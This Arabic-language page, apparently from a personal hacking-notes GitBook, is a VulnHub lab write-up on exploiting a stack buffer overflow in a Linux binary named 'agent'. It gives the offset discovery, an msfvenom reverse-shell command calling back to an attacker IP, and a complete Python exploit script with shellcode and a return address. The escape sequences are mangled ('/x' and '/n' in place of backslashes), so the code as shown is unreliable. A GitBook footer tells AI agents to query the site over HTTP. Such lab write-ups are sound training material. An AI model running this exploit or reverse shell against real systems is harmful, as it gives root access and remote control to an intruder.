> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).

# Linux Buffer Overflow - ثنائي Agent

{% hint style="info" %}
تجاوز سعة المخزن المؤقت التالي ناتج عن تصعيد صلاحيات على آلة VulnHub. الملف الثنائي الضعيف هو ملف تنفيذي يُسمى "agent" على نظام Linux. فيما يلي الإجراء الكامل حول كيفية استغلال تجاوز سعة المخزن المؤقت:
{% endhint %}

## استغلال تجاوز سعة المخزن المؤقت:

**التعرّف على الثنائي "agent":**

* استخدم `find` أمر لتحديد موقع الملف الثنائي المسمى "agent" على الآلة.
* تم العثور على الملف الثنائي 32-بت مع ملف نصي يشير إلى تنفيذه بواسطة root على المنفذ 7788.

<figure><img src="/files/e2dd84169a4cba6b628aa8eaa196b3d1e83f968a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/68e34c1604bc6ae899e2768c106b717f457a397c" alt=""><figcaption></figcaption></figure>

**نقل الملف الثنائي باستخدام Netcat:**

استخدام Netcat لنقل الملف الثنائي الخاص بالآلة إلى جهاز المهاجم.

<figure><img src="/files/bb31ab420e5dc2873d61314f2f1b03beacc3dfaf" alt=""><figcaption></figcaption></figure>

**تحليل الشفرة باستخدام** [ghidra ](https://ghidra-sre.org/)**:**

* استخدام برنامج Ghidra لتحليل الشفرة المصدرية للملف الثنائي.

<figure><img src="/files/b8ba160073bce4f2db3df6e8d11651a7afa895d8" alt=""><figcaption></figcaption></figure>

* التعرّف على المتغيّر "validcode" الذي يحتوي على معرّف الرمز بالصيغة السداسية عشرية.

<figure><img src="/files/a4deedf206fa97040186faf02440ab1df77a8612" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ca714dace0ed2fab2086d7114891d2ebb0ad9a8b" alt=""><figcaption></figcaption></figure>

**تحليل تجاوز سعة المخزن المؤقت:**

باستخدام الدالة "report()"، تم اكتشاف ثغرة تجاوز سعة المخزن المؤقت باستخدام الدالة "gets".

<figure><img src="/files/9a12ca840443103e5229cc2689073e5c9bdd5651" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dca4ffa5981ccde108fd3d85b4041d4b1aa45429" alt=""><figcaption></figcaption></figure>

**استغلال تجاوز سعة المخزن المؤقت باستخدام GDB:**

<figure><img src="/files/450b079cabed9b408805c24027e8a976dc6d03f3" alt=""><figcaption></figcaption></figure>

* تم إنشاء سلسلة من 200 حرف "A" لاختبار حدوث التجاوز.

```python
python -c 'print("A"*200)'
```

<figure><img src="/files/33913ee0563375e53b563ecc7bbf0a788e77beff" alt=""><figcaption></figcaption></figure>

لاحظ استبدال EIP (مؤشر التعليمات) بالأمر "pattern create 200".

<figure><img src="/files/b22fae5ada59a6132bb6d53ae2b5a1ee66efe64a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/262cd9ec0e37ccdcc0edf61d500db3fb2ad72c2c" alt=""><figcaption></figcaption></figure>

* تحديد الإزاحة بالأمر "pattern offset $eip".

<figure><img src="/files/11d09ec01f4952a98fcad5df91ed644b6923c4d1" alt=""><figcaption></figcaption></figure>

* التحقق بإدراج سلسلة EIP مكوّنة من 168 حرف A + 4 حرف B:

```python
python -c 'print("A"*168 + "B"*4)'
```

<figure><img src="/files/1847c1429f755d122bd779b6447e96f9c74010a9" alt=""><figcaption></figcaption></figure>

* التحقق من الحمايات باستخدام الأمر "checksec".

<figure><img src="/files/6bd17088562b6a45c75f8410a602a570a55cfb32" alt=""><figcaption></figcaption></figure>

**التحقق من ASLR:**

البحث عن العناوين الثابتة للملف الثنائي بالأمر "objdump -d agent | grep -i 'FF D0'".

```bash
objdump -d agent | grep -i "FF D0"
```

<figure><img src="/files/73f2e7d6da2838b1c82444d76154d1064a98a819" alt=""><figcaption></figcaption></figure>

**إنشاء شيلكود للغلاف العكسي:**

استخدام Metasploit لتوليد شيلكود لغلاف عكسي.

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```

<figure><img src="/files/89cf2a2a3006438eeceddcfb5614f15840f576f0" alt=""><figcaption></figcaption></figure>

**سكريبت Python للتنفيذ:**/ كتابة سكريبت Python للاتصال بالخدمة الضعيفة واستغلال تجاوز سعة المخزن المؤقت.

```python
#!/usr/bin/python3 

from struct import pack
import socket 

shellcode = (b"/xbf/x11/x58/xbb/xb7/xdb/xd7/xd9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/x02/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/xcf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")


offset = 168 
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("<I", 0x08048563) + b"/n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7788))
s.recv(1024)
s.send(b"48093572/n")
s.recv(1024)
s.send(b"3/n")
s.recv(1024)
s.send(payload)
```

<figure><img src="/files/aaefce85bc0dfaa85e4a492a9d4f10d7b0747dc7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
